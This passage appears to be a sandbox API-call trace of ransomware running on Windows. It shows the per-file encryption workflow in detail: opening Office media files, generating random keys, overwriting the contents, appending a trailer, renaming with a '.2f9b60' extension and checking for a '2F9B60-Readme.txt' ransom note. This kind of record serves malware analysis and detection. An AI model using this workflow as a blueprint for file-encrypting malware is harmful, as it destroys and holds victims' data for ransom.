[0138.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0138.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c090) returned 1 [0138.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c1b0) returned 1 Thread: id = 1774 os_tid = 0x17ac [0132.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg")) returned 0x20 [0133.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG", dwFileAttributes=0x20) returned 1 [0134.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e08 [0137.130] GetFileSizeEx (in: hFile=0x1e08, lpFileSize=0x25c7fa80 | out: lpFileSize=0x25c7fa80*=9665) returned 1 [0137.130] SetFilePointerEx (in: hFile=0x1e08, liDistanceToMove=0x25bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.130] ReadFile (in: hFile=0x1e08, lpBuffer=0x25c7fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25c7fa48, lpOverlapped=0x0 | out: lpBuffer=0x25c7fa00*, lpNumberOfBytesRead=0x25c7fa48*=0x4, lpOverlapped=0x0) returned 1 [0137.147] SetFilePointerEx (in: hFile=0x1e08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0137.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0137.147] NtQuerySystemTime (in: CurrentTime=0x25c7f940 | out: CurrentTime=0x25c7f940*=132462177423886000) returned 0x0 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x58d5928a [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x76ea5191 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x3f101df1 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x5aadb9a8 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x40fbb203 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x36967664 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0xf535d35 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x4b735d57 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x10994653 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x7bc17120 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x2236b2cd [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x221ab5bb [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x7bd5eff0 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x4d3a4fc6 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x7abd17c2 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x2b0e6e3b [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x790b11a2 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x2e463736 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x615ba54f [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x5f4ab14f [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x60834efe [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x2ad9cd4a [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x42252c8d [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x4af520d2 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x1a105823 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x6153f841 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x5413f3bf [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x691ab67b [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x76fe841c [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x3268311b [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x7caf9089 [0137.148] RtlRandomEx (in: Seed=0x25c7f930 | out: Seed=0x25c7f930) returned 0x6dcbfcb [0137.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0137.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0137.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a320 [0137.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0137.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0137.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0137.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0137.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0137.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0137.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203590f0 [0137.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20373560 [0137.158] ReadFile (in: hFile=0x1e08, lpBuffer=0x203590f0, nNumberOfBytesToRead=0x25c1, lpNumberOfBytesRead=0x25c7f930, lpOverlapped=0x0 | out: lpBuffer=0x203590f0*, lpNumberOfBytesRead=0x25c7f930*=0x25c1, lpOverlapped=0x0) returned 1 [0137.182] SetFilePointerEx (in: hFile=0x1e08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.182] WriteFile (in: hFile=0x1e08, lpBuffer=0x20373560*, nNumberOfBytesToWrite=0x25c1, lpNumberOfBytesWritten=0x25c7f934, lpOverlapped=0x0 | out: lpBuffer=0x20373560*, lpNumberOfBytesWritten=0x25c7f934*=0x25c1, lpOverlapped=0x0) returned 1 [0137.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0137.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a470 [0137.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a470) returned 1 [0137.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20373560) returned 1 [0137.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203590f0) returned 1 [0137.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0137.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0137.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a470 [0137.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0137.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0137.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4a0 [0137.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4a0) returned 1 [0137.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a4a0 [0137.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a260 [0137.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a290 [0137.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a290) returned 1 [0137.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0137.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0137.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x166f20 [0137.206] SetFilePointerEx (in: hFile=0x1e08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0137.206] WriteFile (in: hFile=0x1e08, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25c7fa50, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x25c7fa50*=0x10a, lpOverlapped=0x0) returned 1 [0137.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0137.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4a0) returned 1 [0137.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a260) returned 1 [0137.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a470) returned 1 [0137.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0137.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0137.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0137.219] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a320) returned 1 [0137.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad980 [0137.219] wcscpy (in: _Dest=0x1b7ad980, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" [0137.219] wcscat (in: _Dest=0x1b7ad980, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.2f9b60" [0137.219] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.2f9b60", NtPathName=0x25c7fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0137.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050ba00 [0137.220] NtSetInformationFile (FileHandle=0x1e08, IoStatusBlock=0x25c7fb10, FileInformation=0x2050ba00, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0137.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ba00) returned 1 [0137.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd000) returned 1 [0137.400] NtQueryInformationFile (in: FileHandle=0x1e08, IoStatusBlock=0x25c7fad8, FileInformation=0x25c7fae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25c7fad8, FileInformation=0x25c7fae8) returned 0x0 [0137.400] NtSetInformationFile (FileHandle=0x1e08, IoStatusBlock=0x25c7fad8, FileInformation=0x25c7fae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0137.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad980) returned 1 [0137.404] FlushFileBuffers (hFile=0x1e08) returned 1 [0138.483] CloseHandle (hObject=0x1e08) returned 1 [0138.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050b460 [0138.506] wcscpy (in: _Dest=0x2050b460, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0138.506] wcscat (in: _Dest=0x2050b460, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0138.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0138.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b460) returned 1 [0138.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bdc0) returned 1 Thread: id = 1775 os_tid = 0x17b0 [0132.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf")) returned 0x20 [0133.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF", dwFileAttributes=0x20) returned 1 [0134.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d9c [0136.683] GetFileSizeEx (in: hFile=0x1d9c, lpFileSize=0x283af880 | out: lpFileSize=0x283af880*=19844) returned 1 [0136.683] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x4d80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.683] ReadFile (in: hFile=0x1d9c, lpBuffer=0x283af800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x283af848, lpOverlapped=0x0 | out: lpBuffer=0x283af800*, lpNumberOfBytesRead=0x283af848*=0x4, lpOverlapped=0x0) returned 1 [0136.697] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0136.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a560 [0136.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a500 [0136.698] NtQuerySystemTime (in: CurrentTime=0x283af740 | out: CurrentTime=0x283af740*=132462177419362000) returned 0x0 [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x76b59267 [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x6353bc9e [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x2e343529 [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x6aa4a1ca [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x958a6de [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x462d0b5a [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x39f86520 [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x58d41db0 [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x7d651522 [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x317908a9 [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x2547e64c [0136.698] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x609e9458 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x48faa1bb [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x4cfa00c0 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x1f3e9594 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x42335766 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x24d20e01 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x4d997b57 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x5a9f24fe [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x74553621 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0xb374d1d [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x3a3066c3 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x785cc8b1 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x724850c9 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x29c81c32 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x2ee4834e [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x370eb2fb [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x2542135b [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x10d53366 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x293d5d8c [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x29028e42 [0136.699] RtlRandomEx (in: Seed=0x283af730 | out: Seed=0x283af730) returned 0x4dd5113e [0136.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a3e0 [0136.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0136.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a500) returned 1 [0136.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0136.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203118d0 [0136.714] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.714] ReadFile (in: hFile=0x1d9c, lpBuffer=0x203118d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x283af7a0, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesRead=0x283af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.732] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0136.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0136.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0136.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20324520 [0136.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0136.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0136.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0136.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.733] WriteFile (in: hFile=0x1d9c, lpBuffer=0x20324520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x283af7a0, lpOverlapped=0x0 | out: lpBuffer=0x20324520*, lpNumberOfBytesWritten=0x283af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20324520) returned 1 [0136.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0136.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a5c0 [0136.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0136.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0136.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a4d0 [0136.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1a0 [0136.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0136.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0136.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0136.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0136.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1673a0 [0136.806] SetFilePointerEx (in: hFile=0x1d9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.806] WriteFile (in: hFile=0x1d9c, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x283af850, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x283af850*=0x10a, lpOverlapped=0x0) returned 1 [0136.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0136.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0136.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0136.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0136.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0136.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0136.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ee30 [0136.820] sprintf (in: _Dest=0x1cd9ee30, _Format="%c%c" | out: _Dest="ba") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee32, _Format="%c%c" | out: _Dest="35") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee34, _Format="%c%c" | out: _Dest="84") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee36, _Format="%c%c" | out: _Dest="fa") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee38, _Format="%c%c" | out: _Dest="77") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee3a, _Format="%c%c" | out: _Dest="14") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee3c, _Format="%c%c" | out: _Dest="20") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee3e, _Format="%c%c" | out: _Dest="c5") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee40, _Format="%c%c" | out: _Dest="41") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee42, _Format="%c%c" | out: _Dest="8c") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee44, _Format="%c%c" | out: _Dest="44") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee46, _Format="%c%c" | out: _Dest="1c") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee48, _Format="%c%c" | out: _Dest="d6") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee4a, _Format="%c%c" | out: _Dest="9c") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee4c, _Format="%c%c" | out: _Dest="bc") returned 2 [0136.820] sprintf (in: _Dest=0x1cd9ee4e, _Format="%c%c" | out: _Dest="80") returned 2 [0136.821] sprintf (in: _Dest=0x1cd9ee50, _Format="%c%c" | out: _Dest="01") returned 2 [0136.821] sprintf (in: _Dest=0x1cd9ee52, _Format="%c%c" | out: _Dest="e6") returned 2 [0136.821] sprintf (in: _Dest=0x1cd9ee54, _Format="%c%c" | out: _Dest="ab") returned 2 [0136.821] sprintf (in: _Dest=0x1cd9ee56, _Format="%c%c" | out: _Dest="7a") returned 2 [0136.821] sprintf (in: _Dest=0x1cd9ee58, _Format="%c%c" | out: _Dest="0f") returned 2 [0136.821] sprintf (in: _Dest=0x1cd9ee5a, _Format="%c%c" | out: _Dest="8e") returned 2 [0136.821] sprintf (in: _Dest=0x1cd9ee5c, _Format="%c%c" | out: _Dest="19") returned 2 [0136.821] sprintf (in: _Dest=0x1cd9ee5e, _Format="%c%c" | out: _Dest="39") returned 2 [0136.821] RtlInitAnsiString (in: DestinationString=0x283af8c8, SourceString="ba3584fa771420c5418c441cd69cbc8001e6ab7a0f8e1939" | out: DestinationString="ba3584fa771420c5418c441cd69cbc8001e6ab7a0f8e1939") [0136.821] RtlAnsiStringToUnicodeString (in: DestinationString=0x283af898, SourceString="ba3584fa771420c5418c441cd69cbc8001e6ab7a0f8e1939", AllocateDestinationString=1 | out: DestinationString="ba3584fa771420c5418c441cd69cbc8001e6ab7a0f8e1939") returned 0x0 [0136.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8f30 [0136.821] 